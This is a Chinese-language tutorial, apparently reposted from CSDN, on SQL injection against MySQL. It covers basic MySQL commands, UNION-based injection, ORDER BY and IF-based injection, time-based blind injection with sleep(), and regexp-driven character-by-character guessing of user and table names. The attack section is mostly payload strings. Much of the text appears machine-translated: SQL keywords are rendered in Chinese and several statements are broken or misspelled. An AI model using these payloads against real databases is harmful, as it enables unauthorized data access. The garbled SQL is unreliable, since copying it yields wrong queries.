SQL注入(Structured Query Language Injection)技术最早于1999年在国外出现,2002年后在我国开始大量出现。目前,微软中国技术中心从两个方面描述SQL注入技术:脚本注入SQL 注入是一种攻击类型,其中恶意用户输入用于影响执行的SQL 脚本。 SQL注入是指攻击者将SQL命令注入到Web表单中,以提交或输入域名或页面请求的查询字符串。最终,它允许后台数据库执行恶意操作。 SQL命令的目的是根据程序返回的结果检索攻击者想要的数据。所谓SQL注入是指将恶意SQL命令注入到常规http请求或其他数据库交互参数中,最终操纵数据库服务器执行未经授权的SQL命令的攻击。
在学习SQL注入之前,建议您通过阅读我们之前整理的基本Mysql语句操作和命令,对数据库的基本结构有一定的了解。
执行SQL注入的方法有很多种,本内容将向您介绍其中的一些方法。下面的内容主要是学习和应用高级SQL注入语句。您需要分别了解语句的结构和逻辑功能,并学习如何将它们集成并适应实际应用。不建议背诵。在方法逻辑上,最重要的是看懂所有的代码,了解其原理,最好的办法就是多实践。
首先简单介绍一下Mysql的基本操作。
1.用户创建/密码/权限管理(创建/更改/设置/授予/撤销)
1.用户创建/权限管理
==================================================================================================
# 使用CREATE USER 创建
# 创建用户“用户名”@“主机”,由“密码”标识;
————————————————– ————————————————–
# 使用“%”创建用户以允许来自任何主机的连接
# 创建由“mypassword”标识的用户“newuser”@“%”;
==================================================================================================
2. 修改密码
==================================================================================================
# 使用更改
# 更改用户“用户名”@“主机”,由“新密码”标识;
# 闪现权限;
————————————————– ————————————————–
# 使用SET语句更改密码
# 将密码设置为\’用户名\’@\’主机\’=\’new_password\’.
# 闪现权限;
————————————————– ————————————————–
# 直接在mysql外部更改环境
# mysqadmin -u 用户名-p 旧密码密码新密码
==================================================================================================
3.权限管理(添加/删除/确认)
==================================================================================================
# 检查用户权限
# 显示aplexia@host\\G 的权限。
————————————————– ————————————————–
# 添加权限
# 允许对aplexia@host 执行SELECT、INSERT、DELETE *.* 操作。
————————————————– ————————————————–
# 取消权限
# 从aplexia@host 中取消删除*.*;
==================================================================================================
2.显示Mysql数据库相关信息
4.检查版本号
==================================================================================================
# 选择版本()、当前日期。
==================================================================================================
5.查看日志文件
==================================================================================================
# 显示“%log”等变量。
==================================================================================================
6.查看用户/密码/主机
==================================================================================================
# 从mysql.user中选择用户、密码和主机。
==================================================================================================
3、添加/删除/修改表内外结构(需要掌握基本操作,如果不清楚,请查看之前的文章学习)
7. 添加(创建/插入)
==================================================================================================
# 插入角色(角色ID,角色名) value(\’1\’,\’经理\’);
==================================================================================================
8.删除(删除/删除)
==================================================================================================
# 删除表
# 删除表测试;
————————————————– ————————————————–
# 快速删除表
# 截断文档;
————————————————– ————————————————–
# 从roleid=1的用户中删除;
==================================================================================================
9. 改变(更新/改变)
==================================================================================================
#更改表名
# 修改表old_tablename并重命名new_tablename。
————————————————– ————————————————–
# 改变表结构
# 更改表表名更改名称varchar(20);
# 更改并重命名表tablename。新名称是varchar(20);
# 更改表tablename,并在名称后添加new_word type_word。
————————————————– ————————————————–
# 将所有密码字段更改为123456
# 更新用户设置密码=123456;
# 要更新用户,请设置密码=111。其中角色ID=1;
==================================================================================================
4.查看和过滤数据库/表
10. 检查(显示/说明/选择)
==================================================================================================
#显示表结构
# desc 表名/G;
# 显示所有表
# 显示表格。
————————————————– ————————————————–
# 显示表格内容(限1-2项)
# 从用户限制1、2中选择*;
# 显示表格内容(仅限前5项)
# 从用户限制5中选择*;
# 查询指定字段
# 从table_name中选择word_1、word_2。
# 查询所有数据
# 从表名中选择*;
# 指定条件
# select * from table_name where word_1=option_word;
# 多个条件
# select * from table_name where word_1100;
==================================================================================================
5.如何对数据库进行搜索和排序(order by)
11. 如何订购
==================================================================================================
# 按字段排序
# 从用户订单中选择* by word_1;
# 根据第一个字段排序
# 从用户订单中选择1*;
# 按第二个字段排序
# 从用户订单中选择* with 2;
==================================================================================================
6. 联合查询(union)
12. 联合查询(Union)
==================================================================================================
# 将两个字段数相同的查询语句的结果以“叠在顶部”的方式合并为一个查询结果。
# 从用户中选择角色ID和用户名
– 联盟
– 从角色中选择角色ID和角色名称。
# 两条select语句中查询结果字段个数必须一致。
# 字段类型通常是一致的
# 使用distinct“自动删除重复行”。
# 使用all 允许显示重复行
==================================================================================================
7、要使用高级SQL语句注入,必须掌握以下语句的基本格式和逻辑以及可用的各种功能。
==================================================================================================
# 从用户中选择*,其中roleid=\’1\’;
# select * from user where roleid=\’1\’ or \’1\’=\’1\’ //如果为true,则返回全部。
# select * from user where roleid=\’1\’ or \’1\’=\’2\’ //如果为false,则返回roleid=\’1\’。
# select * from user where roleid=\’1\’ order by 6; 确定SQL语句输出的列数。
# select roleid,username,major from user order by 1 //根据您选择的第一个字段对类别进行排序。
————————————————– ————————————————–
# select database(); //查询当前数据库名称。
# select version(); //查询当前数据库版本信息。
# select user(); //查询当前用户。
# select @@version_compile_os //查询当前主机系统。
==================================================================================================
8. 联合注入(Union)
14. 连接查询来推断字段
==================================================================================================
# select * from user where username=\’222\’ Union select 1,2,3,4,5,6,7; //可以看到总共有7个字段。
==============================================================
15.联合查询数据库信息
==================================================================================================
# 从用户名=\’222\’的用户中选择userid,roleid,username Union select database(),version(),user();
# 从用户名=\’222\’的用户中选择用户ID、角色ID、用户名、密码Union select database(),version(),user(),@@version_compile_os;
==================================================================================================
9. 带有嵌入式条件注入的排序
16.注入顺序
==================================================================================================
# 从用户订单中选择1*;
# 从用户订单中选择* with 2;
# select * from user order by 3 //这个返回值可以用来确定表中的字段数量。
==================================================================================================
17. 使用嵌入条件语句进行排序
==================================================================================================
# 如果1=1为真,则根据名称返回
# 从用户订单中选择* by IF(1=2,roleid,username);
# 如果1=2不成立,则根据用户名返回
# 从用户订单中选择* by IF(1=2,roleid,username);
————————————————– ————————————————–
# 从用户订单中选择* by IFNULL(NULL,roleid);
# 通过IFNULL(NULL,username) 从用户订单中选择*。
————————————————– ————————————————–
# 如果1=1为真,则根据第一个字段返回
# 通过IF(1=1,1,(select 1 Union select 2)) 从用户订单中选择*。
# 如果1=2不成立,则返回(select 1 Union select 2)并返回错误。
# 通过IF(1=2,1,(select 1 Union select 2)) 从用户订单中选择*。
————————————————– ————————————————–
# select * from user order by(select 1 regexp if(1=1,1,0×00)); //返回值
# select * from user order by(select 1 regexp if(1=2,1,0×00)); //返回错误
# select * from user order by(select 1 regexp if(1=1,1,0));
==================================================================================================
10. 基于时间的注入
18. 基于时间的盲注
==================================================================================================
# select * from user order by if(1=1,1,sleep(2)) //1=1为真,返回值1;
# select * from user order by if(1=2,1,sleep(2)); //如果1=2不成立,则执行sleep(2)。此时可以清楚地看到返回延迟。
==================================================================================================
11.Regexp函数(正则表达式)
19.regexp函数(正则表达式应用)
==================================================================================================
# select 1 regexp 1 //如果此时为true,则返回1。
# select 1 regexp 0 //如果此时为false,则返回0。
# select 1 regexp 4 //如果此时为false,则返回0。
# select 1 regexp 5 //如果此时为false,则返回0。
# 可以看到只有两者都为1时才输出1。
==================================================================================================
12. 推断数据
20. 推断数据
============================================================================
======================
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’o\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’e\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’q\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’r\’,1,0×00));
# 对用户名进行分割,从第一位开始取1位对‘o’进行比较,相同则成立,字母暴力猜解,得到用户名
=================================================================================================
十三.获取当前数据库表
21.当前数据库下的所有表
=================================================================================================
# 列举出当前数据库下的第一个表
# select table_name from information_schema.tables where table_schema=database() limit 0,1;
# 列举出当前数据库下的第二个表
# select table_name from information_schema.tables where table_schema=database() limit 0,2;
=================================================================================================
十四.猜解数据库表名
22.猜解数据库表名
=================================================================================================
# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=\’r\’,1,0×00));
# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=\’s\’,1,0×00));
# 重复上面步骤可以同样的方式对数据库名进行暴力破解
# select name from student order by(select 1 regexp if(subtring((select column_name from information_schema.columns where table_schema=database() and table_name=\’student\’ limit 0,1),1,1)=\’i\’,1,0×00));
=================================================================================================
以上内容大家可多加练习慢慢深入,网上也有一些工具可以帮助大家实现自动化SQL注入,burpsuite,Sqlmap等。
#以上关于SQL注入原理(基本语句/高级查询/高级注入/Mysql账号密码修改)的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91273.html